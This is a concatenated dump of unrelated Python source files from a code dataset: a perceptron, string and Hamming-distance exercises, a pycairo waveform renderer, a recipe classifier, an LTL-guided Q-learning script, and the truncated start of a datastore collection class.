json.load(demo_data_file)\n\n @cached_property\n def demo_recording(self):\n with open(get_absolute_path(\"demo/demo_session_recording.json\"), \"r\") as demo_session_file:\n return json.load(demo_session_file)\n","sub_path":"posthog/demo/web_data_generator.py","file_name":"web_data_generator.py","file_ext":"py","file_size_in_byte":8155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"287966793","text":"import numpy as np\nimport math\n\nclass Perceptron:\n\tdef __init__(self, epochs, learningRate, randomWeights, stepFunction = lambda x: 0 if x <= 0 else 1):\n\t\tself.epochs = epochs\n\t\tself.learningRate = learningRate\n\t\tself.randomWeights = randomWeights\n\t\tself.stepFunction = stepFunction\n\n\tdef createInitialWeights(self, numberOfAttributes):\n\t\tweights = []\n\t\tif self.randomWeights:\n\t\t\t# this random has interval [0, 1) - fix it\n\t\t\tweights = np.random.rand(numberOfAttributes)\n\t\telse:\n\t\t\tweights = np.array([0.0 for i in range(numberOfAttributes)])\n\t\treturn weights\n\n\tdef train(self, trainingSet):\n\t\tnumberOfAttributes = len(trainingSet[0][0])\n\t\tnumberOfTrainingSamples = len(trainingSet)\n\t\tweights = self.createInitialWeights(numberOfAttributes)\n\n\t\tfor i in xrange(self.epochs):\n\t\t\ttotalError = 0.0\n\t\t\tfor sample, expected in trainingSet:\n\t\t\t\tsampleResult = np.dot(weights, sample)\n\t\t\t\terror = expected - self.stepFunction(sampleResult)\n\t\t\t\tweights += self.learningRate * error * sample\n\t\t\t\ttotalError += math.fabs(error)\n\t\t\tif totalError == 0:\n\t\t\t\tbreak\n\n\t\tnumberOfEpochs = i + 1\n\t\treturn (weights, numberOfEpochs)\n\n\tdef test(self, testSet, weights):\n\t\tnumberOfTestSamples = len(testSet)\n\n\t\tsampleValues = []\n\t\tcorrects = 0.0\n\t\tfor sample, expected in testSet:\n\t\t\tsampleResult = self.stepFunction(np.dot(weights, sample))\n\t\t\tif sampleResult == expected:\n\t\t\t\tcorrects += 1\n\t\t\tsampleValues.append(sampleResult)\n\n\t\taccuracy = (corrects / numberOfTestSamples) * 100\n\t\treturn (sampleValues, accuracy)\n\n\n","sub_path":"perceptron/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"308765065","text":"'''Given two strings, append them together (known as \n \"concatenation\") and return the result. However, \nif the strings are different lengths, omit chars from \nthe longer string so it is the same length as the shorter \nstring. So \"Hello\" and \"Hi\" yield \"loHi\". The strings may \nbe any length.'''\n\n\nclass MinCat(object):\n\n def min_cat(self, a, b):\n if len(a) > len(b):\n return a[-len(b):] + b\n elif len(b) > len(a):\n return a + b[-len(a):]\n else:\n return a + b\n\n#unit tests\nimport unittest\n\nclass Tester(unittest.TestCase):\n def test_1(self):\n tester = MinCat()\n self.assertEqual(tester.min_cat(\"Hello\", \"Hi\"), \"loHi\")\n\n def test_2(self):\n tester = MinCat()\n self.assertEqual(tester.min_cat(\"Hello\", \"java\"), \"ellojava\")\n\n def test_3(self):\n tester = MinCat()\n self.assertEqual(tester.min_cat(\"java\", \"Hello\"), \"javaello\")\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"string01/min_cat.py","file_name":"min_cat.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"21194203","text":"#!/usr/bin/env python3\n# spell-checker: disable\n\n\"\"\"\ncairorenderer.py use the logic of renderer.py to render waveforms\ninto scalable vector graphics format\n\"\"\"\n\nimport cairo\nfrom .skin import (\n apply_fill,\n apply_stroke,\n apply_font,\n text_align,\n Engine,\n style_in_kwargs\n)\nfrom .renderer import Renderer, svg_curve_convert\n\n\nclass CairoRenderer(Renderer):\n \"\"\"\n Render the wavelanes as an svg, png, eps, ps, or pdf\n by using the pycairo module\n\n .. note::\n make sure pycairo is installed to use this renderer\n Not knowing how to install it ? Please refer to the\n `Installation <./installation.html>`_ section\n \"\"\"\n\n def __init__(self, **kwargs):\n Renderer.__init__(self)\n self.engine = Engine.CAIRO\n self.cr = None\n self.surface = None\n self.extension = kwargs.get(\"extension\", \"svg\").lower()\n self.dpi = kwargs.get(\"dpi\", 300)\n\n def group(self, callback, identifier: str, **kwargs) -> str:\n \"\"\"\n group define a group\n\n Args:\n callback (callable): function which populate what inside the group\n identifier (str): unique id for the group\n Returns:\n group of drawable items invoked by callback\n \"\"\"\n extra = kwargs.get(\"extra\", None)\n self.cr.push_group()\n if callable(extra):\n extra()\n callback()\n self.cr.pop_group_to_source()\n self.cr.paint_with_alpha(1)\n return \"\"\n\n def path(self, vertices: list, **kwargs) -> str:\n \"\"\"\n draw a path to represent common signals\n\n Args:\n vertices: list of of x-y coordinates in a tuple\n Parameters:\n style_repr (optional) : class of the skin to apply\n by default apply the class 'path'\n \"\"\"\n extra = kwargs.get(\"extra\", None)\n style = kwargs.get(\"style_repr\", \"path\")\n overload = style_in_kwargs(**kwargs)\n self.cr.save()\n if callable(extra):\n extra()\n apply_stroke(self.cr, style, Engine.CAIRO, overload)\n self.cr.new_path()\n for i, v in enumerate(vertices):\n if i == 0:\n self.cr.move_to(*v)\n else:\n self.cr.line_to(*v)\n self.cr.stroke()\n self.cr.restore()\n return \"\"\n\n def arrow(self, x: float, y: float, angle: float, **kwargs) -> str:\n \"\"\"\n draw an arrow to represent edge trigger on clock signals\n \n Args:\n x (float) : x coordinate of the arrow center\n y (float) : y coordinate of the arrow center\n angle (float) : angle in degree to rotate the arrow\n Parameters:\n style_repr (optional) : class of the skin to apply\n by default apply the class 'arrow'\n \"\"\"\n extra = kwargs.get(\"extra\", None)\n style = kwargs.get(\"style_repr\", \"arrow\")\n overload = style_in_kwargs(**kwargs)\n self.cr.save()\n if callable(extra):\n extra()\n apply_fill(self.cr, style, Engine.CAIRO, overload)\n self.cr.translate(x, y)\n self.cr.rotate((angle - 90) * 3.14159 / 180)\n self.cr.new_path()\n self.cr.move_to(-3.5, -3.5)\n self.cr.line_to(0, 3.5)\n self.cr.line_to(3.5, -3.5)\n self.cr.line_to(0, -2)\n self.cr.line_to(-3.5, -3.5)\n self.cr.fill()\n self.cr.restore()\n return \"\"\n\n def polygon(self, vertices: list, **kwargs) -> str:\n \"\"\"\n draw a closed shape to represent common data\n\n Args:\n vertices: list of of (x,y) coordinates in a tuple\n Parameters:\n style_repr (optional) : class of the skin to apply\n by default apply the class None\n \"\"\"\n extra = kwargs.get(\"extra\", None)\n style = kwargs.get(\"style_repr\", None)\n overload = style_in_kwargs(**kwargs)\n self.cr.save()\n if callable(extra):\n extra()\n apply_fill(self.cr, style, Engine.CAIRO, overload)\n self.cr.new_path()\n for i, v in enumerate(vertices):\n if i == 0:\n self.cr.move_to(*v)\n else:\n self.cr.line_to(*v)\n self.cr.fill_preserve()\n apply_stroke(self.cr, style, Engine.CAIRO, overload)\n self.cr.stroke()\n self.cr.restore()\n return \"\"\n\n def spline(self, vertices: list, **kwargs) -> str:\n \"\"\"\n draw a path to represent smooth signals\n\n Args:\n vertices: list of of (type,x,y) coordinates in a tuple of control points\n where type is either a moveto (m/M) lineto (l/L) or curveto (c/C)\n svg operators.\n Parameters:\n style_repr (optional) : class of the skin to apply\n by default apply the class 'path'\n \"\"\"\n style = kwargs.get(\"style_repr\", \"path\")\n extra = kwargs.get(\"extra\", \"\")\n overload = style_in_kwargs(**kwargs)\n vertices = svg_curve_convert(vertices)\n c, px, py, stack = 0, 0, 0, []\n\n self.cr.save()\n if callable(extra):\n extra()\n self.cr.new_path()\n self.cr.move_to(px, py)\n\n for i, v in enumerate(vertices):\n s, x, y = v\n # check the command\n cmd = (\n \"rcurveto\"\n if s == \"c\"\n else \"curveto\"\n if s == \"C\"\n else \"rlineto\"\n if s == \"l\"\n else \"lineto\"\n if s == \"L\"\n else \"rmoveto\"\n if s == \"m\"\n else \"moveto\"\n if s == \"M\"\n else \"closepath\"\n if s == \"z\" or s == \"Z\"\n else cmd\n )\n # gather 3 points to draw a bezier curve\n c = 2 if s in [\"C\", \"c\"] else c\n if c == 2:\n stack.extend([x, y])\n c = 1\n elif c > 0:\n stack.extend([x, y])\n c -= 1\n else:\n stack.extend([x, y])\n if cmd.startswith(\"rc\"):\n self.cr.rel_curve_to(*stack)\n elif cmd.startswith(\"rl\"):\n self.cr.rel_line_to(*stack)\n elif cmd.startswith(\"rm\"):\n self.cr.rel_move_to(*stack)\n elif cmd.startswith(\"l\"):\n self.cr.line_to(*stack)\n elif cmd.startswith(\"m\"):\n self.cr.move_to(*stack)\n elif cmd == \"closepath\":\n self.cr.close_path()\n else:\n self.cr.curve_to(*stack)\n stack = []\n # hold last point\n px, py = x, y\n if style == \"hide\":\n apply_fill(self.cr, style, Engine.CAIRO, overload)\n self.cr.fill()\n else:\n apply_stroke(self.cr, style, Engine.CAIRO, overload)\n self.cr.stroke()\n self.cr.restore()\n return \"\"\n\n def text(self, x: float, y: float, text: str = \"\", **kwargs) -> str:\n \"\"\"\n draw a text for data\n\n Args:\n x (float) : x coordinate of the text\n y (float) : y coordinate of the text\n text (str) : text to display\n Parameters:\n style_repr (optional) : class of the skin to apply\n by default apply the class 'text'\n \"\"\"\n extra = kwargs.get(\"extra\", \"\")\n style = kwargs.get(\"style_repr\", \"text\")\n overload = style_in_kwargs(**kwargs)\n self.cr.save()\n if callable(extra):\n extra()\n apply_fill(self.cr, style, Engine.CAIRO, overload)\n apply_font(self.cr, style, Engine.CAIRO, overload)\n ox, oy = text_align(self.cr, style, str(text), Engine.CAIRO)\n self.cr.move_to(x - ox, y - oy)\n self.cr.show_text(str(text))\n self.cr.restore()\n return \"\"\n\n def translate(self, x: float, y: float, **kwargs) -> str:\n def _():\n self.cr.translate(x, y)\n return _\n\n def draw(self, wavelanes: dict, **kwargs) -> str:\n \"\"\"\n Business function calling all others\n\n Args:\n wavelanes (dict): parsed dictionary from the input file\n filename (str) : file name of the output generated file\n brick_width (int): by default 40\n brick_height (int): by default 20\n is_reg (bool): \n if True `wavelanes` given represents a register\n otherwise it represents a bunch of signals\n \"\"\"\n filename = kwargs.get(\"filename\", False)\n _id = kwargs.get(\"id\", \"a\")\n brick_width = kwargs.get(\"brick_width\", 40)\n brick_height = kwargs.get(\"brick_height\", 20)\n is_reg = kwargs.get(\"is_reg\", False)\n lkeys, width, height, n = self.size(wavelanes, brick_width, brick_height)\n # remove offset for the name in register\n if is_reg:\n lkeys = -1\n height += n * 12\n # select appropriate surface\n w, h = (width + lkeys * 6.5 + 11), height\n if self.extension == \"svg\":\n self.surface = cairo.SVGSurface(filename, w, h)\n elif self.extension == \"png\":\n self.surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, int(w * self.dpi / 72), int(h * self.dpi / 72))\n sx, sy = self.surface.get_device_scale()\n sx, sy = sx * self.dpi/72, sy * self.dpi/72\n self.surface.set_device_scale(sx, sy)\n elif self.extension == \"ps\":\n self.surface = cairo.PSSurface(filename, w, h)\n self.surface.set_eps(False)\n elif self.extension == \"eps\":\n self.surface = cairo.PSSurface(filename, w, h)\n self.surface.set_eps(True)\n elif self.extension == \"pdf\":\n self.surface = cairo.PDFSurface(filename, w, h)\n else:\n raise \"Not supported format\"\n self.cr = cairo.Context(self.surface)\n # set background for png image\n if self.extension == \"png\":\n self.cr.set_source_rgb(1, 1, 1)\n self.cr.paint()\n # paint waveforms\n self.wavegroup(\n _id,\n wavelanes,\n brick_width=brick_width,\n brick_height=brick_height,\n width=width,\n height=height,\n offsetx=lkeys * 6.5 + 10,\n )\n self.cr.show_page()\n # write to an external file for png images\n if self.extension == \"png\":\n self.surface.write_to_png(filename)\n # otherwise close the file pointer\n else:\n self.surface.finish()\n return \"\"\n\n","sub_path":"pywave/cairorenderer.py","file_name":"cairorenderer.py","file_ext":"py","file_size_in_byte":10782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"128868393","text":"'''\n477. Total Hamming Distance\n\nThe Hamming distance between two integers is the number of positions at which the corresponding bits are different.\n\nNow your job is to find the total Hamming distance between all pairs of the given numbers.\n\nExample:\nInput: 4, 14, 2\n\nOutput: 6\n\nExplanation: In binary representation, the 4 is 0100, 14 is 1110, and 2 is 0010 (just\nshowing the four bits relevant in this case). So the answer will be:\nHammingDistance(4, 14) + HammingDistance(4, 2) + HammingDistance(14, 2) = 2 + 2 + 2 = 6.\nNote:\nElements of the given array are in the range of 0 to 10^9\nLength of the array will not exceed 10^4.\n'''\nclass Solution(object):\n def totalHammingDistance_n_square(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n res = 0\n for i in range(len(nums)):\n for j in range(i, len(nums)):\n res += bin(nums[i] ^ nums[j]).count(\"1\")\n return res\n\n def totalHammingDistance_n(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n mask = [[0, 0] for _ in range(32)] # record 0s and 1s for each posit\n for n in nums:\n for pos in mask:\n pos[int(n % 2)] += 1\n n /= 2\n print(mask)\n return sum(x * y for x, y in mask)\n\n\nif __name__ == \"__main__\":\n nums = [4, 14, 2, 2]\n res = Solution().totalHammingDistance_n(nums)\n print(res)\n","sub_path":"477_totalHammingDistance.py","file_name":"477_totalHammingDistance.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"543641442","text":"__author__: \"Aditya Kalyan Jayanti\"\n__email__: \"aj8582@rit.edu\"\n\n\ndef classifier(csv_file):\n # To write the result of classification\n file = open('Jayanti_AdityaKalyan_MyClassifications.csv', 'w')\n rows = csv_file.readlines()\n\n # Dictionary to store each row of data\n columns_with_data = {}\n\n # To store column headers in a list\n attributes = []\n attributes_name = rows[0].split(',')\n for attribute in attributes_name:\n columns_with_data[attribute] = 0\n attributes.append(attribute)\n\n # Iterating from 1 through all rows because the first row has only headers\n for index in range(1, len(rows)):\n line = rows[index].split(',')\n line = line[0:len(rows[0])]\n for i in range(1, len(line)):\n columns_with_data[attributes[i]] = float(line[i])\n my_classifier_function(file, columns_with_data)\n\n\ndef my_classifier_function(file, columns_with_data):\n if columns_with_data[\"Sugar\"] <= 19:\n if columns_with_data[\"Egg\"] <= 12:\n if columns_with_data[\"Butter or Margarine\"] <= 18:\n if columns_with_data[\"Baking Powder\"] <= 2:\n file.write('1\\n')\n else:\n if columns_with_data[\"cinnamon\"] <= 11:\n file.write('0\\n')\n else:\n file.write('1\\n')\n else:\n file.write('0\\n')\n else:\n file.write('0\\n')\n else:\n if columns_with_data[\"Canned Pumpkin_or_Fruit\"] <= 26:\n if columns_with_data[\"Vanilla\"] <= 6:\n file.write('0\\n')\n else:\n file.write('1\\n')\n else:\n file.write('1\\n')\n\n\ndef main():\n # for any new validation set, the path must be entered here\n csv_file = open('Recipes_For_VALIDATION_2181_RELEASED_v202.csv', 'r')\n classifier(csv_file)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Jayanti_AdityaKalyan_Classifier.py","file_name":"Jayanti_AdityaKalyan_Classifier.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"116140041","text":"import gym\nimport numpy as np\nfrom utils import ltl2dot, dot2DFA\nfrom utils import comptrace2flie, compress_list_traces, compress_trace_spaced\nfrom utils import use_flie, ltl2dot\nfrom utils import flie2genLTL, dot2DFA\nfrom utils import compress_trace_extra\nimport os\nfrom tqdm import tqdm\nfrom matplotlib import pyplot as plt\nimport argparse\nimport time\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--seed\", default=100, type=int,\n help=\"Seed random number generator of environment and policy. Default=100\")\nparser.add_argument(\"--num_episodes\", default=1000, type=int,\n help=\"Number of Episodes. Default=1000\")\nparser.add_argument(\"--episode_len\", default=300, type=int,\n help=\"Maximum steps an episode can have. Default=300\")\nparser.add_argument(\"--learning_rate\", default=0.99, type=float,\n help=\"Learning Rate of Q-learning algorithm. Default=0.99\")\nparser.add_argument(\"--epsilon\", default=0.1, type=float,\n help=\"epsilon parameter of Q-learning. Default=0.1\")\nparser.add_argument(\"--gamma\", default=0.99, type=float,\n help=\"Discount factor of RL task. Default=0.99\")\nparser.add_argument(\"--pos_thresh\", default=10, type=int,\n help=\"maximum number of pos_traces stored. Default=10\")\nparser.add_argument(\"-print_traces\", action=\"store_true\")\nparser.add_argument(\"-show_reward\", action=\"store_true\")\nparser.add_argument(\"-tqdm_off\", action=\"store_true\")\nparser.add_argument(\"--formula_init\", default=\"Fa\", type=str,\n help=\"Initial formula for learning. Default=Fa\")\nparser.add_argument(\"--result_dir\", default=\"results\", type=str,\n help=\"directory of results file. default=..experiments/deneme\")\nparser.add_argument(\"-all_map\", action=\"store_true\")\nparser.add_argument(\"--environment\", default=\"OfficeWorldDoorsTask2\", type=str,\n help=\"Environment, default=OfficeWorldDoorsTask2,\"+\n \" other options: OfficeWorldDoorsTask1, OfficeWorldBigTask1,\"+\n \" OfficeWorldTaskBCA\")\nparser.add_argument(\"--batch_number\", type=int,\n help=\"Parameter which determines at which counter example\"+\n \" formula changed. Default=3\")\nparser.add_argument(\"-extra_compress\", action=\"store_true\")\nparser.add_argument(\"-disable_until\", action=\"store_true\",\n help=\"disable inference of until and next operators\")\n\nparser.set_defaults(print_traces=False, show_reward=False, tqdm_off=False,\n all_map=False, batch_number=3, result_dir='../experiments/deneme',\n extra_compress=False)\nargs = parser.parse_args()\n\nSEED = args.seed\nNUM_EPISODES = args.num_episodes\nMAX_EPISODE_LEN = args.episode_len\nALPHA = args.learning_rate # Learning Rate\nEPS = args.epsilon # Epsilon Greedy Parameter\nGAMMA = args.gamma # Discount Factor\nRESULTS_DIR = args.result_dir # directory of results file\nALL_MAP = args.all_map # enable initial state sampled from all map\nENV = args.environment # Name of the environment and task\nBATCH_NUM = args.batch_number # Batch Number for formula resetting\nEXTRA_COMP = args.extra_compress# Compress traces extra by removing repetition\nif not os.path.isdir(RESULTS_DIR):\n os.mkdir(RESULTS_DIR)\n\n\nenv = gym.make(\"gym_LTL_RL:\"+ ENV +\"-v0\")\nenv.set_seed(SEED)\nenv.action_space.np_random.seed(SEED)\nnp.random.seed(SEED)\n\nMAP_HEIGHT = env.height\nMAP_WIDTH = env.width\nS_card = env._get_num_states()\nNUM_ACTIONS = env.action_space.n\n\npos_traces_threshold = args.pos_thresh\nprint_all_traces = args.print_traces\nshow_episode_reward = args.show_reward\n\ntask_spec = args.formula_init\n\ntime_init = time.time()\nautomata_path, predicate_list = ltl2dot(task_spec)\nautomaton0 = dot2DFA(automata_path, predicate_list)\npredicate_list = env.get_observables()\nif os.path.isfile(automata_path):\n os.remove(automata_path)\n\npos_traces = []\nneg_traces = []\npos_traces_imp = []\nneg_traces_imp = []\nall_traces = []\nall_traces.append(pos_traces)\nall_traces.append(neg_traces)\none_pos_trace = [set(), set('b'),set(), set('a'), set()]\n# one_neg_trace = [set(), set('b'),set()]\n# pos_traces_imp.append(one_pos_trace)\n# neg_traces_imp.append(one_neg_trace)\nprint('Initial Strategy Formula: ', end='')\nprint(task_spec)\n\nfileformula = open(\"%s/inferred_formulas.txt\"%(RESULTS_DIR), \"w+\")\nfileformula.write(task_spec+\"\\n\")\nfilerewards = open(\"%s/rewards_eplen.txt\"%(RESULTS_DIR), \"w+\")\n\nautomaton_changed = False\nQ_values = {}\nautomatonk = automaton0\nfor states_automaton in list(automatonk.get_states()):\n Q_values[states_automaton] = np.zeros([S_card, NUM_ACTIONS])\n\nprint('Automaton States: ', end='')\nprint(automatonk.get_states())\nprint('Initial State: ', end='')\nprint(automatonk.get_init_state())\nprint('Accepting State: ', end='')\nprint(automatonk.get_acc_state())\nedges_automatonk = automatonk.edges\nprint('Transitions : ')\nfor key, value in sorted(edges_automatonk.items()):\n print(key + ' : ', end='')\n print(value)\n\nsum_reward_list = []\ncount_update = 0\npos_counterexample = False\nfor i in tqdm(range(NUM_EPISODES), disable=args.tqdm_off):\n env.reset(all_map=ALL_MAP)\n is_done_env = False\n\n if automaton_changed:\n automaton_changed = False\n Q_values = {}\n for states_automaton in list(automatonk.get_states()):\n Q_values[states_automaton] = np.zeros([S_card, NUM_ACTIONS])\n\n print('---FORMULA CHANGED---')\n print('New Strategy Formula: ', end='')\n print(new_formula_gen)\n print('------')\n print('New Automaton')\n print('Automaton States: ', end='')\n print(automatonk.get_states())\n print('Initial State: ', end='')\n print(automatonk.get_init_state())\n print('Accepting State: ', end='')\n print(automatonk.get_acc_state())\n edges_automatonk = automatonk.edges\n print('Transitions : ')\n for key, value in sorted(edges_automatonk.items()):\n print(key + ' : ', end='')\n print(value)\n\n print('List of Labels : ',end='')\n print(automatonk.labels)\n\n\n state_automaton = automatonk.reset()\n is_done_automata = False\n counter_example_found = False\n state_agent = env._get_state()\n trace_run = []\n sum_rewards = 0\n for j in range(MAX_EPISODE_LEN):\n # Pick action according to epsilon-greedy rule\n max_Q = np.max(Q_values[state_automaton][state_agent])\n list_possible_actions = []\n for actions_iter in range(NUM_ACTIONS):\n if Q_values[state_automaton][state_agent][actions_iter] >= max_Q:\n list_possible_actions.append(actions_iter)\n if np.random.random() > EPS:\n action = np.random.choice(list_possible_actions)\n else:\n action = env.action_space.sample()\n\n # Execute selected Action and update automaton based on the\n # observed label\n state_agent_prev = state_agent\n state_automaton_prev = state_automaton\n state_agent, reward, is_done_env, labels = env.step(action)\n state_automaton, is_done_automata = automatonk.step_automaton(list(labels))\n sum_rewards += reward\n\n # Update Q-values:\n Qk = Q_values[state_automaton_prev][state_agent_prev][action]\n Q_next_max = np.max(Q_values[state_automaton][state_agent])\n Qkp1 = (1 - ALPHA)*(Qk) + ALPHA * (reward + GAMMA * Q_next_max)\n Q_values[state_automaton_prev][state_agent_prev][action] = Qkp1\n\n # Append set of observations to trace\n trace_run.append(labels)\n\n # Check if DFA and Environment match with each other\n if is_done_automata and is_done_env:\n # Empty Set is added whenever a trace is finalized\n trace_run.append(set())\n pos_traces.append(trace_run)\n if len(pos_traces_imp) < 2:\n pos_traces_imp.append(trace_run)\n print('First Positive Trace : ')\n print(compress_trace_spaced(trace_run))\n\n break\n elif not is_done_automata and is_done_env:\n trace_run.append(set())\n pos_traces.append(trace_run)\n pos_traces_imp.append(trace_run)\n counter_example_found = True\n pos_counterexample = True\n break\n elif (is_done_automata and not is_done_env and\n len(pos_traces_imp) > 0):\n trace_run.append(set())\n neg_traces.append(trace_run)\n if len(neg_traces_imp) < 100:\n neg_traces_imp.append(trace_run)\n else:\n pass\n counter_example_found = True\n break\n else:\n pass\n\n if j == MAX_EPISODE_LEN-1:\n trace_run.append(set())\n neg_traces.append(trace_run)\n\n sum_reward_list.append(sum_rewards)\n filerewards.write(\"reward : %.2f ; episode length:%d\\n\"%(sum_rewards, j+1))\n\n if show_episode_reward:\n if is_done_env:\n print('SUCCESS', end=' ')\n else:\n print('FAILURE', end=' ')\n print('Episode %d is done'%(i+1), end=' ')\n print('Reward is:%.2f'%(sum_rewards), end=' ')\n print('Episode Length:%d'%(j+1))\n print(compress_trace_spaced(trace_run))\n print('')\n print('')\n\n # Update Specification and Automaton if NECESSARY\n if (len(pos_traces_imp) > 0 and len(neg_traces_imp) > 0\n and counter_example_found):\n counter_example_found = False\n count_update += 1\n\n print('')\n print('')\n print('Founded counter-example trace for previous formula ', end='')\n if pos_counterexample:\n print('(Positive) : ')\n pos_counterexample = False\n else:\n print('(Negative) : ')\n if EXTRA_COMP:\n print(compress_trace_extra(trace_run))\n else:\n print(compress_trace_spaced(trace_run))\n\n if count_update % BATCH_NUM == 0:\n automaton_changed= True\n\n print('FORMULA CHANGE INITIATED')\n\n pos_traces_passed = compress_list_traces(pos_traces_imp,\n spaced=True, extra=EXTRA_COMP)\n neg_traces_passed = compress_list_traces(neg_traces_imp,\n spaced=True, extra=EXTRA_COMP)\n print('Number of pos traces passed : %d'%(len(pos_traces_passed)))\n print('Number of neg traces passed : %d'%(len(neg_traces_passed)))\n all_traces = []\n all_traces.append(pos_traces_passed)\n all_traces.append(neg_traces_passed)\n\n if print_all_traces:\n print(\"Positive Traces:\")\n for traces_iterable in pos_traces_passed:\n print(traces_iterable)\n\n print('Negative Traces:')\n for traces_iterable in neg_traces_passed:\n print(traces_iterable)\n\n trace_dir = comptrace2flie(all_traces,\n predicate_list, filename='%s/traces/trace%d'%(RESULTS_DIR, count_update),\n until=True)\n\n output_flie = use_flie(trace_dir, disable_until=args.disable_until)\n new_formula_flie = output_flie[0]\n new_formula_gen = flie2genLTL(new_formula_flie, predicate_list)\n fileformula.write(new_formula_gen+\"\\n\")\n\n automata_path, pred_list_use = ltl2dot(new_formula_gen,\n operator_list=None, filename_dot='denemedot1')\n automatonk = dot2DFA(automata_path, pred_list_use)\n os.remove(automata_path)\n else:\n pass\n\n pass\n\ntime_elapsed = time.time() - time_init\n\nfiletime = open(\"%s/total_time.txt\"%(RESULTS_DIR), \"w+\")\nfiletime.write(\"%.3f\"%(time_elapsed))\n\nfileformula.close()\nfilerewards.close()\nnp.save('%s/rewards_episode'%(RESULTS_DIR), sum_reward_list)\nnp.save('%s/finalQvalues'%(RESULTS_DIR), Q_values)\n\nplt.plot(sum_reward_list)\nplt.xlabel('Episode')\nplt.ylabel('Reward')\nplt.savefig('%s/rewardvsepisode'%(RESULTS_DIR))\n","sub_path":"src/reinforcement_learning/Qlearning_flie3.py","file_name":"Qlearning_flie3.py","file_ext":"py","file_size_in_byte":11810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"200036382","text":"import concurrent.futures\nimport logging\nimport re\nimport warnings\nfrom typing import Dict\n\nfrom datemath import dm\nfrom datemath.helpers import DateMathException\nfrom datetime import datetime\nfrom urllib.parse import urlparse\n\nfrom assemblyline.datastore.exceptions import DataStoreException, UndefinedFunction, SearchException, MultiKeyError\nfrom assemblyline.odm import BANNED_FIELDS, Keyword, Integer, List, Mapping, Model\nfrom assemblyline.odm.base import _Field\nfrom assemblyline.remote.datatypes.lock import Lock\n\nlog = logging.getLogger('assemblyline.datastore')\n\n\ndef get_object(base, key):\n splitted = key.split(\".\", 1)\n if len(splitted) == 1:\n return base, key\n else:\n current, child = splitted\n return get_object(base[current], child)\n\n\nclass BulkPlan(object):\n def __init__(self, index, model=None):\n self.index = index\n self.model = model\n self.operations = []\n\n def add_delete_operation(self, doc_id):\n raise UndefinedFunction(\"This is the basic BulkPlan object, none of the methods are defined.\")\n\n def add_insert_operation(self, doc_id, doc):\n raise UndefinedFunction(\"This is the basic BulkPlan object, none of the methods are defined.\")\n\n def add_upsert_operation(self, doc_id, doc):\n raise UndefinedFunction(\"This is the basic BulkPlan object, none of the methods are defined.\")\n\n def get_plan_data(self):\n raise UndefinedFunction(\"This is the basic BulkPlan object, none of the methods are defined.\")\n\n\nclass Collection(object):\n DEFAULT_ROW_SIZE = 25\n DEFAULT_SEARCH_FIELD = '__text__'\n FIELD_SANITIZER = re.compile(\"^[a-z][a-z0-9_\\\\-.]+$\")\n MAX_FACET_LIMIT = 100\n MAX_RETRY_BACKOFF = 10\n RETRY_NORMAL = 1\n RETRY_NONE = 0\n RETRY_INFINITY = -1\n UPDATE_SET = \"SET\"\n UPDATE_INC = \"INC\"\n UPDATE_DEC = \"DEC\"\n UPDATE_APPEND = \"APPEND\"\n UPDATE_REMOVE = \"REMOVE\"\n UPDATE_DELETE = \"DELETE\"\n UPDATE_OPERATIONS = [\n UPDATE_APPEND,\n UPDATE_DEC,\n UPDATE_INC,\n UPDATE_REMOVE,\n UPDATE_SET,\n UPDATE_DELETE,\n ]\n\n def __init__(self, datastore, name, model_class=None):\n self.datastore = datastore\n self.name = name\n self.model_class = model_class\n self._ensure_collection()\n self.bulk_plan_class = BulkPlan\n\n @staticmethod\n def _get_obj_value(obj, field):\n value = obj[field]\n if isinstance(value, list):\n return value[0]\n return value\n\n def with_retries(self, func, *args, **kwargs):\n \"\"\"\n This function performs the passed function with the given args and kwargs and reconnect if it fails\n\n :return: return the output of the function passed\n \"\"\"\n raise UndefinedFunction(\"This is the basic datastore object, none of the methods are defined.\")\n\n def normalize(self, data, as_obj=True):\n \"\"\"\n Normalize the data using the model class\n\n :param as_obj: Return an object instead of a dictionary\n :param data: data to normalize\n :return: instance of the model class\n \"\"\"\n if as_obj and data is not None and self.model_class and not isinstance(data, self.model_class):\n return self.model_class(data)\n\n if isinstance(data, dict):\n data = {k: v for k, v in data.items() if k not in BANNED_FIELDS}\n\n return data\n\n def _bulk(self, operations):\n \"\"\"\n This function should be overloaded to perform a bulk operations on the datastore.\n\n :return: Results of the bulk operation\n \"\"\"\n\n raise UndefinedFunction(\"This is the basic datastore object, none of the methods are defined.\")\n\n def bulk(self, operations):\n \"\"\"\n Receives a bulk plan and executes the plan.\n\n :return: Results of the bulk operation\n \"\"\"\n\n if not isinstance(operations, BulkPlan):\n return TypeError(\"Operations must be of type BulkPlan\")\n\n return self._bulk(operations.get_plan_data())\n\n def get_bulk_plan(self):\n \"\"\"\n Creates a BulkPlan tailored for the current datastore\n\n :return: The BulkPlan object\n \"\"\"\n return self.bulk_plan_class(self.name, model=self.model_class)\n\n def commit(self):\n \"\"\"\n This function should be overloaded to perform a commit of the index data of all the different hosts\n specified in self.datastore.hosts.\n\n :return: Should return True of the commit was successful on all hosts\n \"\"\"\n raise UndefinedFunction(\"This is the basic datastore object, none of the methods are defined.\")\n\n def reindex(self):\n \"\"\"\n This function should be overloaded to perform a reindex of all the data of the different hosts\n specified in self.datastore.hosts.\n\n :return: Should return True of the commit was successful on all hosts\n \"\"\"\n raise UndefinedFunction(\"This is the basic datastore object, none of the methods are 